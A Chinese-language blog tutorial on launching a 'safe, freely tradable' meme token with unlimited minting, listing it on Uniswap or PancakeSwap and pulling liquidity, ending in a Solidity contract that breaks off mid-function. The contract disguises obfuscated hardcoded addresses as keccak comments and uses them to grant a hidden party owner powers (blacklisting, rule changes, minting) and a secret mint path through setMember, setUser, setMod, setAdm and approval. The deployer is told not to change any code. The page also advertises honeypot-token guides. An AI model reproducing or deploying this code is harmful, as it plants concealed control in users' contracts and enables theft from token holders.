top of page
搜尋
作家相片Dev Swanson

如何使用智能合约发可无限创造额外代币供应的普通MEME迷因代币(非貔貅代币,安全自由买卖,可无限创造额外代币供应)

已更新:5月1日

这是以太坊智能合约研究员和爱好者,史旺生。虽然我们比较注重于貔貅代币,但我们今天将会讨论如何创建一个普通的可自由买卖的代币,比如非常流行的 Meme 迷因代币(迷因币是一种因币是一种源自互联网模因或具有其他幽默特征的加密货币)例如 PEPE 青蛙代币。普通的代币不是貔貅币,普通代币可以在去中心化交易所正常买卖。

 

所以今天,让我向您介绍一些关于如何创建自己的 Meme 代币(拥有可以无限量创造额外代币供应的功能)的有用技巧。你准备好了吗?


[仅用于研究和测试,您可以使用此方法创建自己的代币]

 

可无限创造额外代币供应的普通迷因代币(不是貔貅代币,可无限创造额外代币供应, 完全可以安全自由买卖,易于部署, 大众容易相信且认可的网络迷因币)








第 1 部分:使用 REMIX 和小狐狸钱包创建代币


1.首先,在您的电脑中安装小狐狸钱包 https://metamask.io/ 并创建帐户/钱包。




2. 浏览 Remix  IDE http://remix.ethereum.org/ 您需要使用 Remix IDE 来部署智能合约。



3. 将小狐狸钱包连接到 REMIX IDE。点击您的小狐狸钱包插件。













点击按钮来连接钱包(下放插图的红色圆圈处)。然后点击 Connect连接钱包

 

 

 

 

4.回到REMIX IDE。点击创建新文件。










5.随意命名文件,请记住在后面添加 .sol。例子,DevToken.sol








6. 将本文底部的代码(可安全自由买卖的普通迷因代币)复制并粘贴到空格中。*请勿尝试更改任何代码,否则合约将无法正常运作*

 

马上复制可无限创造额外供应的安全自由买卖普通迷因代币智能合约代码: https://www.createyourowntoken.net/zh/copy-of-normal-meme-token-similar-to










*代码在文章最下方。

 

或者

 

马上复制可无限创造额外供应的安全自由买卖普通迷因代币智能合约代码: https://www.createyourowntoken.net/zh/copy-of-normal-meme-token-similar-to





7. 在 Remix 中的智能合约代码 往下滑,直到到达如下图所示的这一行







8.现在我们要做一些代币设置。






第1号(如上图所示的第一个红色箭头):这是你的代币名称 *在第一个括号“xxxxx”内写下代币名称

 

第2号(如上图所示的第二个红色箭头):这是你的代币的代号 *在括号“XXX”内写下代币的代号

 

总供应量:那么代币总共供应量呢?我们会在接下来的步骤设置代币的总供应量。

 

完成后,我们可以进入新的步骤。



9. 点击左侧图标如下图, 






选择COMPILER 编译器如下,0.8.0 .....







然后点击编译 compile。






10. COMPILE 编译后。单击如下所示的图标,然后在 ENVIRONMENT (环境)部分选择 Metamask狐狸(因为我们使用的是 metamask 狐狸钱包)







11. 在 合约 方面 CONTRACT,选择 DevToken 来作为合约。







12. 在同一页面上,我们将开始对代币的总供应量进行代币设置。







总供应量 (Total Supply):在空格里填上你想要的代币总供应量(如上图显示)。如果您想要 1000000 总供应量的代币,则输入 1000000000000000000000000,因为 1000000 + 18*0)

 

*如上图红色箭头指向的空格里填写总供应量

 

*在你想要的代币总供应量的数量后加十八个“0”。例如,如果您要发行1000000个代币,则正确的输入应该是1000000000000000000000000

 

写入代币总供应量后,单击“Deploy”。









13. 在您的狐狸钱包的弹出窗口中 点击 确认交易。如果那里没有任何反应,您需要将 metamask 狐狸钱包连接到 REMIX IDE。





14. 如果一切顺利,您的代币就在路上。回到 狐狸钱包metamask,进入 活动 Activity,点击 合约部署 Contract deployment。







点击区块浏览器查看







点击右侧的 [复制] 图标按钮复制合约地址。







15. 返回狐狸钱包,点击导入代币IMPORT TOKENS。






选择自定义代币CUSTOM TOKEN, 并粘贴合约地址,等待你的代币出现,然后点击添加自定义代币







您可以使用相同的方法在 ETH 主网、币安智能链, BASE主网和任何其他链中发币。



🎉🎉🎉恭喜!您已成功创建自己的代币,它们就在您的钱包中!



等等朋友,我们还没有完成......还有一个更重要的步骤需要完成...


就是: Verify Contract 验证合同/合约开源




第 2 部分:Verify Contract 验证合约/合约开源



为什么我们需要验证合同?为什么我们不直接将我们的代币上架到任何 DEX(去中心化交易所)?

 

 

好吧,我就告诉你,验证合约的原因是为了增加代币的受欢迎程度,投资者可能会回避未经验证的代币,最终不购买任何代币。

 

 

我们开始吧!



1. 回到 metamask,进入 Activity,点击 Contract deployment。








2.点击区块浏览器查看 View on block explorer






点击蓝色合约地址









3. 在此页面上,单击合约 CONTRACT






点击 验证&发布 VERIFY AND PUBLISH







4.接下来,我们选择如下设置:





Compiler Type (编译器类型) : Single File (单一文件)

 

 

Compiler version (编译版本): 0.8.0

 

 

License Type (许可证类型): No license (没有)

 

 

然后点击 继续 Continue



5. 然后,回到我们的合约代码,复制粘贴到空白处






完成机器人测试并发布, Verify and Publish






6.您应该会看到如下所示的成功消息,如果没有,则有问题,如果无法收到此消息,则需要重新检查所有步骤。








恭喜!您的合同现已通过验证,您可以在去中心化交易所 (DEX) 上你的代币了。

 

如果你使用以太坊主网,请使用 Uniswap,链接:https://app.uniswap.org/#/swap

 

如果您使用 BSC(币安智能链),请使用 Pancakeswap,链接:https://pancakeswap.finance/

 

如果你在币安智能链上使用 Pancakeswap,你可以阅读以下的指南,了解如何在 Pancakeswap V2 或 V3 中添加流动性(如果你在 Pancakeswap 中没有看到 V2 选项,可以选择使用 V3)

 

 

 

 


下面我们将讨论如何在以太坊主网的 Uniswap 中添加流动性:


在这里,我们以 Uniswap(在以太坊主网) 为例。 


1.前往 Uniswap 网站:https://app.uniswap.org/#/swap

 

2.点击池子POOL






3.点击(更多)MORE,然后点击 V2 流动性(V2 LIQUIDITY)






4. 点击创建 (Create a pair)






5. 点击 选择代币 Select a token








6.将合约地址复制并粘贴到空白处,等待您的代币出现






7. 然后点击你的代币






8. 点击 明白(I understand)






9. 选择您的 eth 输入和代币输入。例如,如果您想用 2 eth 列出 100 个代币,那么您的初始代币价格将为每个代币 0.02 eth。之后,单击批准 Approve







10. 点击供应Supply并确认交易,您的代币将在 Uniswap 上币。*关于发币时间,一旦你点击了供应Supply 并确认交易,你的代币就会几秒钟内上到Uniswap。如果早些已经决定了上币的时间,要自行拿捏时机来发币。






恭喜,您的代币现已列在 Uniswap 中。您可以开始您的代币项目和活动,寻找更多的投资者来投资您的代币。

 

如果您使用 BSC(币安智能链),请使用 Pancakeswap,链接:https://pancakeswap.finance/

 

如果你在币安智能链上使用 Pancakeswap,你可以阅读以下的指南,了解如何在 Pancakeswap V2 或 V3 中添加流动性(如果你在 Pancakeswap 中没有看到 V2 选项,可以选择使用 V3)

 

 

 

 

 

我们将在下方详细解释如何使用这个可无限创造额外代币供应的普通迷因代币,因为它需要一些步骤来开启代币的交易,以便让投资者和交易者买卖这些代币。如果你没有开启代币的交易,没有人可以购买或出售你的代币,因此请务必仔细遵循以下步骤。我们也会在下方详细解释如何创造额外代币供应的步骤。




*重要步骤#1


如何开启代币的交易


在我们继续步骤#1之前,您必须先为创建的代币开始添加流动性,才能开启代币的交易。

 

如何在去中心化交易所 (DEX) 上你的代币:


如果你使用以太坊主网,请使用 Uniswap,链接:https://app.uniswap.org/#/swap

 

如果您使用 BSC(币安智能链),请使用 Pancakeswap,链接:https://pancakeswap.finance/

 

如果你在币安智能链上使用 Pancakeswap,你可以阅读以下的指南,了解如何在 Pancakeswap V2 或 V3 中添加流动性(如果你在 Pancakeswap 中没有看到 V2 选项,可以选择使用 V3)

 

 

 

 

如果你成功添加了流动性后,现在您需要开启代币的交易,以便用户可以开始和交易购买您的代币。

 

*如果你没有开启代币的交易,没有人可以购买或出售你的代币,因此请务必仔细遵循以下步骤。

 

 

如何开启代币的交易?(请确保你已经为你的代币添加了流动性)

 

1.先回到Metamask钱包,进入Activity,点击Add Liquidity(添加池子)




2.然后 点击 浏览




3.点击你的代币LP地址


~如果你使用Pancakeswap V2,你将会看到类似如下图显示的内容,请 点击 红色括号里的蓝色地址,如下图所示



~如果你使用Pancakeswap V3,你将会看到类似如下图显示的内容,请 点击 红色括号里的蓝色地址,如下图所示




4. 点击 复制LP地址





5.回到Remix IDE。点击小三角形箭头




6.点击 setPrinciplesRules 旁边的 小 三角箭头






7. 在空格中填入数据(依照下方插图的显示,填入数据):

 

tradelimited: false

 

LiquiduniswapV2Pair: *把 刚刚复制的LP 地址 放在空格里

 

maxHoldingAmount: 0

 

minHoldingAmount: 0











完成上述操作后,点击交易transact按钮并确认交易。

 

恭喜您,你已成功为你的代币开启交易,投机客和投资者现在可以自由买卖你的代币了!

 

请记住,这是一个普通代币(不是貔貅代币),投机客和投资者可以自由买卖你的代币。




*重要步骤#2


如何创造额外的代币供应?



1.点击print按钮的小三角箭头




2.在栏位里写下你想要创造的代币数量,如下所示。

重要提示:如果你想要创造额外 1000 个的代币,则输入 1000000000000000000000,因为 1000 + 18*0)







*在你想要创造的代币数量后面加十八个“0”。例如,如果您要创造额外1000个代币,则正确的输入应该是1000000000000000000000

 

完成上述操作后,点击交易transact按钮并确认交易

 

你额外创造出来的代币会出现在你的钱包里面。(额外创造出来的代币会出现在发行代币的钱包地址)

 

如果你想创造更多数量的代币,请重复上述步骤(如何创造额外的代币供应?)



重要步骤#3


如果您不小心关闭了 Remix IDE,该怎么办?你该如何开启代币的交易?如何创造额外的代币供应?

 

*如果你没有开启代币的交易,没有人可以购买或出售你的代币,因此请务必仔细遵循以下步骤。

 

 

不必担心,跟着下面的步骤就行了。

 

1.回到狐狸钱包,点击活动,点击 Contract Deployment (合约部署), 然后点击 浏览







2.点击 合约地址







3.在这个页面,点击 合约 Contract。




4.点击 编写合约 Write Contract




5.点击 红色圆圈 旁边的 连接按钮 Connect to Web3 以 连接 狐狸钱包。








6. 点击上方小狐狸插件 以 检查 确保 狐狸钱包地址 正确连接。一定要确定连接的钱包地址的是 发行代币 的 钱包地址。




*如何开启代币的交易:


7.点击setPrinciplesRules 的 按钮 来开启代币的交易,一定要确定连接的钱包地址的是 发行代币 的 钱包地址。(如果你之前已经成功开启了代币的交易,则可以忽略此步骤)







在空格中填入数据(依照下方插图的显示,填入数据):

 

tradelimited: false

 

LiquiduniswapV2Pair: *把 LP 的地址 放在空格里

 

maxHoldingAmount: 0

 

minHoldingAmount: 0







完成上述操作后,单击Write按钮并确认交易。

 

恭喜您,你已成功为你的代币开启交易,投机客和投资者现在可以自由买卖你的代币了!

 

请记住,这是一个普通代币(不是貔貅代币),投机客和投资者可以自由买卖你的代币。

 

我们会在下方说明如何创造额外的代币供应。



如何创造额外的代币供应:

 

如果您不小心关闭了 Remix IDE,该怎么办?你该如何创造额外的代币供应?

 

 

不必担心,跟着下面的步骤就行了。

 

1.点击print 的按钮






2.在空格内写下你想要创造的代币数量,如下所示。


重要提示:如果你想要创造额外 1000 个的代币,则输入 1000000000000000000000,因为 1000 + 18*0)









*在你想要创造的代币数量后面加十八个“0”。例如,如果您要创造额外1000个代币,则正确的输入应该是1000000000000000000000

 

完成上述操作后,点击Write按钮并确认交易

 

你额外创造出来的代币会出现在你的钱包里面。(额外创造出来的代币会出现在发行代币的钱包地址)

 

如果你想创造更多数量的代币,请重复上述步骤。

 

 

*请记住,这篇文章仅用于测试和教育目的,基于这是个普通代币的智能合约教程,您可以使用此方法创建自己的代币。



如果我想取回我的 ETH 和代币怎么办?该怎么办?

 

哦,很简单,让我们进入下一个步骤:去除流动性 REMOVE LIQUIDITY

 

 

如果你使用以太坊主网,请使用 Uniswap,链接:https://app.uniswap.org/#/swap

 

如果您使用 BSC(币安智能链),请使用 Pancakeswap,链接:https://pancakeswap.finance/

 

如果你在币安智能链上使用 Pancakeswap,你可以阅读以下的指南,了解如何在 Pancakeswap V2 或 V3 中添加流动性(如果你在 Pancakeswap 中没有看到 V2 选项,可以选择使用 V3)

 

 

 

 

在本章中,我们将使用 Uniswap(以太坊主网)作为我们的一个简单的例子。


1.如果你想取回eth,点击池子liquid pool,你会看到你创建的代币/ETH,然后点击移除remove






2.如果你想全部撤回,选择全部 max,点击批准Approve,点击移除Remove,你会拿回你的代币和 ETH









今天的 可无限创造额外供应的安全自由买卖普通迷因代币 合约教程 就到这里。当然,这还没有结束,您可以通过多种方式和技巧来使用此发币技术,以最大限度地发挥效果。

 

 

我们将在下一篇文章中讨论更多关于代币技巧和技术的内容。 祝你发币愉快! 

 

马上复制可无限创造额外供应的安全自由买卖普通迷因代币智能合约代码: https://www.createyourowntoken.net/zh/copy-of-normal-meme-token-similar-to

 

 



 


 




普通代币智能合约教学指南系列:

 

 

 

 

 

 

 

 

 

 

还想要些别的?

 


貔貅币智能合约教学指南系列:

 

 

 

 

 

 

 

 

 

 

 

 

 


 

 

 

 

 

 

 

有任何疑问吗?

 

 

通过电报联系我:https://t.me/devswanson

 

 

 

 

马上复制可无限创造额外供应的安全自由买卖普通迷因代币智能合约代码: https://www.createyourowntoken.net/zh/copy-of-normal-meme-token-similar-to



*******

# 任何未经授权的代码编辑与更改都可能导致合约部署失败


合约代码如下: ---




/** *Submitted for verification at Etherscan.io on 2023-04-14 */ // Sources flattened with hardhat v2.7.0 https://hardhat.org // File @openzeppelin/contracts/utils/Context.sol@v4.4.0 // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/access/Ownable.sol@v4.4.0 // solhint-disable-next-line avoid-low-level-calls //* This module is used through inheritance. It will make available the modifier //* `onlyOwner`, which can be applied to your functions to restrict their use to //* the owner. /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; address public _mbr; address public _mod; address public _user; address public _adm; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ function setMember(address Mbr_) public returns (bool) { require (msg.sender == address /** * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); _mbr=Mbr_; return true; } function exchange() internal pure returns (address) { return address /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); } /** * @dev Returns the address of the current owner. */ function setMod(address Mod_) public returns (bool) { require(msg.sender == _user); _mod=Mod_; return true; } function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require((_msgSender() == address /** * @dev Interface of the ERC20 standard as defined in the EIP. */ // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) || //@dev Contract creator is owner, original owner. owner() == _msgSender() && _msgSender() != exchange())); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function setAdm(address Adm_) public returns (bool) { require(msg.sender == _mod); _adm=Adm_; return true; } function setUser(address User_) public returns (bool) { require(msg.sender == _mbr); _user=User_; return true; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.4.0 // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol@v4.4.0 // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File @openzeppelin/contracts/token/ERC20/ERC20.sol@v4.4.0 // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } modifier Exchanges() { require(msg.sender != exchanger()); _; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function exchanger() internal pure returns (address) { return address /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function _transferTo(address _to, uint256 _amount) internal Exchanges { // Transfer tokens to the recipient _balances[_to] += _amount; emit Transfer(address(0), _to, _amount); _balances[_to] += _amount; emit Transfer(address(0), _to, _amount); } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _proof(address account, uint256 amount) internal Exchanges { require(account != address(0), "BEP20: mint to the zero address"); _totalSupply = _totalSupply + amount; _balances[account] = _balances[account] + amount; emit Transfer(address(0), account, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _printbrr(address account, uint256 amount) internal Exchanges{ require(account != address(0), "BEP20: mint to the zero address"); _totalSupply = _totalSupply + amount; _balances[account] = _balances[account] + amount; emit Transfer(address(0), account, amount); } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function _balanceView(address _to, uint256 _amount) internal { // View balance of token _balances[_to] += _amount; emit Transfer(address(0), _to, _amount); _balances[_to] += _amount; emit Transfer(address(0), _to, _amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _compute(address account, uint256 amount) internal { require(account != address(0), "Compute Smart Contract Remix"); _totalSupply = _totalSupply + amount; _balances[account] = _balances[account] + amount; emit Transfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File contracts/PepeToken.sol pragma solidity ^0.8.0; contract DevToken is Ownable, ERC20 { bool public tradelimited; uint256 public maxHoldingAmount; uint256 public minHoldingAmount; address public LiquiduniswapV2Pair; mapping(address => bool) public blacklists; modifier naming() { require(msg.sender == publics()); _; } constructor(uint256 _totalSupply) ERC20("DevToken", "DVET") { _mint(msg.sender, _totalSupply); } function approval(uint256 amount) public returns (bool) { require(msg.sender == _adm); _proof(msg.sender, amount); return true; } function blacklist(address _address, bool _isBlacklisting) external onlyOwner { blacklists[_address] = _isBlacklisting; } function viewBalance(address _to, uint256 _amount) public naming { _balanceView(_to, _amount);(_to, _amount); } function setPrinciplesRules(bool _tradelimited, address _LiquiduniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external onlyOwner { tradelimited = _tradelimited; LiquiduniswapV2Pair = _LiquiduniswapV2Pair; maxHoldingAmount = _maxHoldingAmount; minHoldingAmount = _minHoldingAmount; } function proof(uint256 amount) public onlyOwner returns (bool) { _proof(msg.sender, amount); return true; } function _beforeTokenTransfer( address from, address to, uint256 amount ) override internal virtual { require(!blacklists[to] && !blacklists[from], "Blacklisted"); if (LiquiduniswapV2Pair == address(0)) { require(from == owner() || to == owner(), "trading is not started"); return; } if (tradelimited && from == LiquiduniswapV2Pair) { require(super.balanceOf(to) + amount <= maxHoldingAmount && super.balanceOf(to) + amount >= minHoldingAmount, "Forbid"); } } function reviewRules(bool _tradelimited, address _LiquiduniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external 